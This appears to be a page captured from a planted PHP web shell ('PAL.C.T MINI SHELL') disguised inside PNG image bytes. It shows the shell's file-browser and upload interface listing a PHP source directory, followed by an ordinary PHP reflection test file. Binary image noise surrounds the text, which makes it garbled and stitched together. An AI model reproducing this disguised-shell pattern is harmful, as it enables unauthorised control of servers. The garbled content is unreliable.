php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /opt/php-7.0.1/ext/reflection/tests/
upload
files >> //opt/php-7.0.1/ext/reflection/tests/ReflectionMethod_defaultArg.phpt

--TEST--
ReflectionMethod and RECV_INIT (bug #70957 and #70958)
--FILE--
<?php
Abstract class F {
	private function bar($a = self::class) {}
}

Trait T
{
	private function bar($a = self::class) {}
}


class B {
	use T;
}

echo new \ReflectionMethod('F', 'bar');
echo new \ReflectionMethod('T', 'bar');
echo new \ReflectionMethod('B', 'bar');
?>
--EXPECTF--
Method [ <user> private method bar ] {
  @@ %s

  - Parameters [1] {
    Parameter #0 [ <optional> $a = 'F' ]
  }
}
Method [ <user> private method bar ] {
  @@ %s

  - Parameters [1] {
    Parameter #0 [ <optional> $a = 'T' ]
  }
}
Method [ <user> private method bar ] {
  @@ %s

  - Parameters [1] {
    Parameter #0 [ <optional> $a = 'B' ]
  }
}
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`